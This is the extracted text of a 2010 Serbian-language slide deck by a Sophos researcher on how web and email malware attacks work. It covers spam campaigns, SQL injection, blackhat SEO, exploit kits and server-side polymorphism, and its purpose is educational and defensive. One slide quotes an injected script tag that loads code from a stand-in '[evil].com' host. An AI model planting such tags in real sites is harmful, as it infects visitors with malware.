Ana tomija napada – duhovi u mašini

1. Anatomijanapada – duhovi u mašini Vanja Svajcer Principal Researcher – Sophos Beograd, 13 Maj 2010

2. Šta radi SophosLabs? • Sakuplja pretnje • Analizira i klasifikuje • Kreira detekcije i otklanja pretnje • Objavljuje sveže definicije i informacije • Istraživanje i razvoj • Nešto više informacija videćemo kasnije

3. SophosLabsu samom centru

4. Anatomija napada • Postavljanje scenarija • Zlonamerni softver (Malware) • Tehnike napada • Proces analize i alati • Tehnologija zaštite

5. Tipovi malicioznog softvera • Virus • Trojanac • Crv (Worm)

6. Ko se nekada bavio pisanjem virusa? Nema „standardnog“ pisca virusa, nema „standardnog“ motiva za pisanje Školarci Srednjoškolci Studenti IT profesionalci Uglavnom muškarci Nikako A/V kompanije

9. Ko piše malver danas? Virusi se retko viđaju, ali čini se da opet postaju popularni U pitanju je novac U osnovi se svodi na kriminal ( I dalje postoji tamo neki pegavi tinejdžer…)

10. APT • Advanced Persistent Threat • Moderan izraz za “targeted malware” • Mala veličina (oko 100k) i posebne namene • Nema pakovanja • Izgleda kao legitiman Windows fajl • Neovlašćeni prikriveni transfer podataka (Data Exfiltration) • Težak za uklanjanje

11. Email pretnje • Druga polovina 2008. bila je svedok dramatičnog porasta malverau obliku priloga email-a • 2009.taj trend se nastavlja,nekoliko familija se širi agresivnimmasovnim spemovanjem • Iste stare taktike socijalnog inženjeringa • UPS/FedEx failed deliveryreports, Microsoft patches,Airline e-tickets itd.

12. Top spemovani malver (2009) • Dominiraju ključne familijemalvera • Bredo • Waled • Jednostavnoali i dalje radi!

13. Socijalni inženjering – Bredo Mal/Bredo • Ista kampanja može obuhvatati brojne “različite” priloge

14. Socijalni inženjering – Zbot (aka Zeus) Mal/Zbot

15. BredovsZbot • Konkurencija između botova!!! • Bredopokušava da onemogući bilo koji instalirani Zbot • Vrlo slično poput NetskyvsBaglerata od pre par godina!!!

16. Email pretnje • Globalnespem zamke za praćenje spema • SADusmerava više spema nego bilo koja druga pojedinačna država • Kompromitovani računari ne samo što šire spem već distribuiraju malver i lansiraju DDoS napade

17. Web najdominantniji • 99% inficiranih sistema su legitimni kompromitovani sajtovi • Sajtovi za napad • Botnet C&C korišćenjem HTTP • Napadi i dalje često počinju spemovanjem email-a

19. Napadi Web 2.0 aplikacija

20. Korak1: preusmeravanje sa kompromitovanog sajta Kompromitovani web sajtovi Attacker-controlledredirects Attack site usingbundle of exploits Payload

21. Kompromitovanje hostova

22. SQL injection DB DB DB Malicious SQLinjection • Hakeri koriste alate da identifikuju stranice potencijalno ranjive na SQL injection • Šalju maliciozneHTTP zahteve (Demo)

23. SQL injection <script src=http:/ <script src=http:/ <script src=http:/ <script src=http:/ <script src=http:/ <script src=http:/ <script src=http:/ <script src=http://[evil].com/file.js • SQL injection uzrokuje da baza podataka postane zabiberena malicioznim skript tagovima • Kao rezultat, stranice na web serveru izgrađene od podataka preuzetih iz baze takođe sadrže maliciozne skript tagove

24. SQL injection • Korisnik se kreće web sajtom • Maliciozni skript tag prikrivenoučitava skript sa udaljenog servera • Žrtva postaje inficirana malverom:Asproxtrojan

25. Demo SQLi + XSS

26. Novootkrivene inficirane stranice – april 2010

27. Blackhat SEO • Kompromitovani hostovi zasejani sa SEO-kitovima • Povećavaju rangiranje stranice

28. SEO trovanje • Pretraga po popularnim rečima

29. Blackhat SEO

30. Blackhat SEO

31. Demo Blackhat SEO

32. Vidljivost – sajtovi koji hostuju SEO-kitove

33. Korak3: Preuzimanje sadržaja sa napadačevog sajta Kompromitovani web sajtovi Preusmeravanja kojakontroliše napadač Sajt za napad koristi više kombinovanih ranjivosti Payload

34. Web napadi Izrađen korišćenjem kupljenih kompleta alata MPack, IcePack, GPack,Neosploit, Eleonore, Yes Konzola za upravljanje Phishing Otkriven: 19. oktobra 2009. • Najpogođenije države: • Francuska – 4% • SAD– 17% • Velika Britanija – 3% • Nemačka – 6%

35. Web napadi Pregled po programimaza pregled Internet sadržaja! Polimorfizam sa serverske strane • Procenat pogođenih: • MSIE – 12% • FireFox – 1% • Opera – 5%

36. Polimorfizam

37. Polimorfizam

38. Polimorfizam

39. Polimorfizam

40. Polimorfizam

41. Slabosti polimorfnog malvera • Poly-engine je deo koda • Može biti reverzovan od strane upornog istraživača • Mora biti dekriptovan u memoriji • Emulira programski kod dok se ne nađe prava varijanta • Detekcija može biti bazirana po proceduri dekripcije

42. Polimorfizam sa serverske strane

43. Polimorfizam sa serverske strane

44. Polimorfizam sa serverske strane

45. Polimorfizam sa serverske strane

46. Demo SSP

47. Korak4: Napadni žrtve kroz ranjivosti, zarazi ih Kompromitovani web sajtovi Preusmeravanja kojakontroliše napadač Sajt za napad koristiviše kombinovanih ranjivosti Tovar

48. Lažni AV profesionalizam

49. Video - scareware

50. Troj/MacSwp 